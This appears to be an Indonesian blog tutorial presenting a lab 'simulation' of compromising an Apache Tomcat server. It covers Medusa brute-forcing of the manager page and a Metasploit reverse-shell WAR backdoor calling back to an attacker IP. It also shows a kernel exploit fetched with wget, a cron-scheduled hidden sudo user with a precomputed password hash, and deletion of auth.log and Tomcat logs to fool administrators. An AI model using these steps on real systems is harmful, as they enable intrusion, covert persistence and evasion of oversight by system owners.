dari judulnya ane rasa memang sangat menarik, betapa kita tau beberapa waktu ini , Indonesia di kejutkan dengan adanya tomcat. Serangga yang mampu memberikan rasa melepuh terhadap kulit manusia. Ok ternyata tomcat seperti ini juga terdapat di dalam dunia IT. vulnerability yang sangat berbahaya .. Pada kesempatan ini ane mau membahas sebuah simulasi hacking yang ane beri judul ..
“TOMCAT DEADLY BITE”
PRESIMULATION
= apa itu tomcat ?
tomcat adalah web server yang didevelop oleh apache group. Biasanya tomcat di install berpasangan dengan web server apache untuk di jadikan web proxy.
= apa itu tomcat ?
tomcat adalah web server yang didevelop oleh apache group. Biasanya tomcat di install berpasangan dengan web server apache untuk di jadikan web proxy.
Ok spesifikasi simulasi ini
1. Information gathering
2. Bruteforcing
3. Backdooring ( exploitation )
4. Privilage Escalation
5. Maintaining access
2. Bruteforcing
3. Backdooring ( exploitation )
4. Privilage Escalation
5. Maintaining access
Ok kita mulai saja
1. Information gathering
Untuk mengumpulkan informasi kita gunakan nmap.. kali ini saya mencoba untuk melakukan nmap untuk melihat berapa host yang up
karena sebagai simulator tentunya saya sudah mempersiapkan target… kali ini target kita ada ip 192.168.1.6 berbasis sistem ubuntu server
perhatikan pada baris
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Sudah terlihat server target memiliki service apache tomcat running di port8080…
2. Bruteforcing
Pada dasarnya tomcat memiliki halaman administrator yang akan memungkinkan kita mengakses panel adminnya. untuk itu saya gunakan metode bruteforcinguntuk mendapat akses tersebut. Kali ini saya pakai medusa. Artikel tentang bruteforcing medusa sudah banyak saya bahas.
Karena medusa membutuhkan user.list dan pass.list maka saya telah membuatnya terlebih dahulu …
root@eichel:~# cat usertomcat tes test admin money administrator dodol admin1 admin123 admin1234 root@eichel:~# cat passwordtomcat test tes monkey manager admin manager command tes1 admin123
ok berbasis dua file tersebut saya mencoba melakukan bruteforcing …dengan asumsi
(-M) modul = http (-h) host, ip atau nama (-U) usename.lst ( kamus ) (-P) password.lst ( kamus ) (-e ns) [n] =coba tanpa password, [s] kemungkinan password = username (-n) port (-m) direktori path ( manager/html adalah default admin page dari tomcat )
dari sekian banyak percobaan ternyata salah satu sukses..
ok kita dapatkan sukses pada user : admin dan pass : admin
kita buka di browser 192.168.1.6:8080
kemudian masuk ke 192.168.1.6:8080/manager/html masukan user:pass = admin:admin
ok anda berhasil memasuki panel admin tomcat.
3. Backdooring ( exploitation )
Langkah selanjutnya attacker akan membuat trigered payload untuk membuat koneksi ke shell target. Hmm tujuan agar kita dapat mengekusi langkah selanjut dengan mulus dan perlu memasuki system korban walau hanya dengan user non aktif. Dalam hal ini saya memakai metasploit
ingat tadi seperti yang kita tahu bersama bahwa sistem target menggunakan linux x86 karena itu payload saya atur ke linux x86 dengan LHOST = ip attacker ( 192.168.1.10 ) dan menggunakan port 4545 untuk membangunbind connection reverse tcp
PREPARING FOR LISTENER
ok kita buka msfconsole kita kemudian menggunakan exploit/multi/handlerdengan opsi-opsi yang dicocokan dengan backdoor.war yang telah kita buat pada langkah sebelumnya …
hmm pastikan opsi – opsi sudah benar …
saatnya kita jalankan listener …
UPLOAD BACKDOOR.WAR INTO THE TARGET DIRECTORY
sekarang kita akan mengupload kenadeh.war yang telah kita buat dengan msfpayload tadi .. ok pada panel admin tomcat server target anda sudah seharusnya melihat adanya form upload dengan ekstensi war file. ok kita upload dari dir kita menuju ke dir target. pilih file yang hendak di upload kemudian klik deploy..
jika kita berhasil menguploadnya, war file adalah file ekstrakan seperti halnya zip, rar , dll. sistem tomcat dengan otomatis akan mengekstrak file war dalam hal ini “kenadeh.war” sehingga akan terbentuk sebuah direktori “kenadeh“. Dalam tomcat ini disebut sebagai istilah “deploy“
Seperti yang sudah saya jelaskan sebelumnya bahwasanya file war itu adalah file archive.. karena itu kita harus tau nama backdoor triggering yang sebenarnya. Adabaiknya kita ekstrak di host kita terlebih dahulu sehingga kita tahu kita harus memanggil file dengan nama apa.
root@eichel:~# unzip kenadeh.war Archive: kenadeh.war inflating: META-INF/MANIFEST.MF inflating: WEB-INF/web.xml inflating: cazyptnwpvlazb.jsp inflating: CBMazgyh.txt
hmm perhatikan file dengan ekstensi jsp. disitulah anda akan memanggil backdoor anda… kita tidak perlu mengekstrak file war di server target.. ingat tomcat telah melakukan ekstrak secara otomatis.. karena itu sudah dipastikan file cazyptnwpvlazb.jsp telah berada pada direktori tomcat dan siap diesekusi.
Kehebatan backdoor ini adalah tidak perlu adanya social enggineering karena backdoor tidak perlu diesekusi oleh user sistem target. group nobody/world pun sanggup memicu backdoor. sehingga attacker akan memicu backdoor tersebut dengan mengakses url backdoor maka attacker tidak perlu menunggu lama untuk membuka shell aktif..
http://192.168.1.6:8080/kenadeh/cazyptnwpvlazb.jsp
shell pun terbuka
4. Privilage Escalation
kita ketik “shell” untuk mengakses cmd server… ok sekarang dengan perintah id saya tau bahwa saya menggunakan akses user tomcat , dan gid = tomcat.
okey terlihat gambar di atas bahwa informasi kernel sudah kita dapatkan ,
uname -a Linux ubuntu 2.6.35-02063504-generic #201008271919 SMP Fri Aug 27 20:27:22 UTC 2010 i686 GNU/Linux
Untuk mempermudah sya dalam mengeksploitasi maka saya teringat akan postingan om ekawithoutyou mengenai spawning bash pada http://forum.indonesianbacktrack.or.id/showthread.php?tid=2108 yang memungkinkan kita mengaktifkan /bin/bash atau bin/sh. Saya lebih senang dengan bin/bash heheheh
ok dilihat dari kernelnya tampaknya exploit kernel tersebut sangat mudah untuk didapatkan …kita tinggal harus mengupload backdoor tersebut, karenanya saya mencoba mencari direktori yang writetable untuk user tomcat ini..
Kemudian attacker tinggal mengupload exploit dengan fasilitas ‘wget‘
Sperti pada gambar di atas. attacker mengupload exploit kemudian menambahkan +x pada permission sehingga file tersebut sudah siap di jalankan. Exploit yang di upload ada baiknya sudah di compilasi dari script.c Mengingat tidak semua server memiliki gcc yang terinstall. Sehingga exploit kali ini sudah di kompilasi terlebih dahulu dari script c.
Kemudian attacker hanya tinggal mengesekusi file tersebut …
dan holaaa id=root gid=root ..
5. Maintaining access
Biasanya attacker akan berusaha untuk tidak meninggalkan jejak serta mengecoh sysadmin kemudian membuat dirinya sebuah akses tertentu untuk memasuki system tersebut di lain waktu …
Dalam hal ini saya memberikan sebuah contoh yang dulu sering saya lakukan ketika berhasil melakukan rooting. saya memanfaatkan crontab atau sebuah sistem task yang otomatis berjalan yang dapat ditentukan kapan sistem akan mengesekusinya. Kalau pada sistem windows kita sering mendengar automatic task. Saya akan membuat sebuah script.sh penambahan user.. hmm sebelumnya saya akan mencari tau kira-kira group-group apakah yang memiliki akses sudoers…
root@ubuntu:/var/lib/tomcat6/shared# cat /etc/sudoers cat /etc/sudoers ... #includedir /etc/sudoers.d # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL ... root@ubuntu:/var/lib/tomcat6/shared#
Ok dilihat dari keterangan pada /etc/sudoers bahwa grou admin adalah group yang memiliki hak “sudoers” , bermodal ini saya akan membuat system.shuntuk keperluan maintaining akses. Attacker biasanya akan memilih dir-dir yang sulit dideteksi .. dan membuat dir tersebut tersamar .. karena itu saya membuat sebuah dir di dalam /etc/perl/CPAN
root@ubuntu:cd /etc/perl/CPAN root@ubuntu:/etc/perl/CPAN#
hmm setelah kita cukup membuat sebuah direktori yang sulit di deteksi .. saya membuat sebuah 2 buah file script.sh
isinya adalah sebagai berikut …yang pertama saya beri nama auth.sh
useradd admin -G admin -p saOhMg4WOk7iY -d /etc/perl/CPAN/.../.../ -s /bin/bash
sebenarnya isinya simple kok .. yaitu membuat user admin di bawah group sudoers admin dan berhomebase pada /etc/perl/CPAN/…/…/ tipe shell adalah/bin/bash. mungkin anda bertanya dari mana saya dapet ‘saOhMg4WOk7iY‘ itu enskripsi salt agar kita dapat langsung memberi user buatan kita password dalam satu perintah …cara dapetnya
root@eichel:~# perl -e 'print crypt("150787", "salt"),"\n"' saOhMg4WOk7iY
yang kedua kita beri nama antifor.sh
isinya adalah
#/bin/bash rm -rf /var/log/auth.log touch /var/log/auth.log userdel admin
hmm saya kreasikan dengan menghapus /var/log/auth.log dimana tiap otentifikasi user-user tercatat disana. kemudian membuat auth.log baru serta menghapus user admin. Kedua script tersebut akan kita jadwalkan pada crontab sistem target.
kita buat file crontab yang nntinya akan kita imput kedalam kita beri nama crontab
01 23 1,7,14,21 1-12 * /etc/perl/CPAN/.../..././auth.sh 01 0 2,8,15,22 1-12 * /etc/perl/CPAN/.../..././antifor.sh
file crontab itu menunjukan bahwa sistem secara otomatis akan mengesekusi file auth.sh tiap menit pertama pada jam 23 ( 11 malam ) dan berlaku pada tanggal 1,7,14,21 setiap bulan. baris dua cuma ane bedakan 1 hari sehingga anda tau bahwa user anda siap tiap tanggal tanggal 1,7,14,21 karena besoknya secara otomatis sistem akan menghapus user tersebut. Hal ini akan mengecoh sisadmin sehingga jika sisadmin lengah maka attacker terus mendapatkan akses masuk ssh dengan user privilage sudoers
ok , kita upload semua file tersebut ke dir yang telah kita buat…kebetulan ketiga file telah saya zip
root@ubuntu:/etc/perl/CPAN/.../...# wget http://192.168.1.10/auth.zip wget http://192.168.1.10/auth.zip --2012-04-12 12:47:38-- http://192.168.1.10/auth.zip Connecting to 192.168.1.10:80... connected. HTTP request sent, awaiting response... 200 OK Length: 852 [application/zip] Saving to: `auth.zip' 100%[======================================>] 852 --.-K/s in 0s 2012-04-12 12:47:39 (51.8 MB/s) - `auth.zip' saved [852/852]
Kemudian jgn lupa untuk men-chmod 777 ke seluruh file
langkah terakhir kita aktifkan crontab buatan kita :p
selamat anda telah berhasil melakukan tahap maintaining access …ketika pada waktunya user anda akan aktif ..
root@eichel:~# ssh admin@192.168.1.6 admin@192.168.1.6's password: Added user admin.
tambahan : waktu crontab bisa anda modif.. ya sesuai kebutuhan lah.. siapa tau demi mengkamuflase admin anda menjadwalkan user anda aktif dalam waktu 1 bulan satu kali.
CLEAR LOG
yang perlu di perhatikan disini adalah
1.log tomcat root@ubuntu:/var/log/tomcat6# ls ls catalina.2012-04-11.log catalina.out localhost.2012-04-12.log catalina.2012-04-12.log localhost.2012-04-11.log root@ubuntu:/var/log/tomcat6# cat localhost.2012-04-12.log cat localhost.2012-04-12.log Apr 12, 2012 7:04:26 AM org.apache.catalina.core.ApplicationContext log --- INFO: HTMLManager: undeploy: Undeploying web application at '/kenadeh' ---
ok semoga tutorial ini berguna bagi teman-teman semua… akhir kata saya undur diri dari hadapan anda .. salam backtrackers…
Tidak ada komentar:
Posting Komentar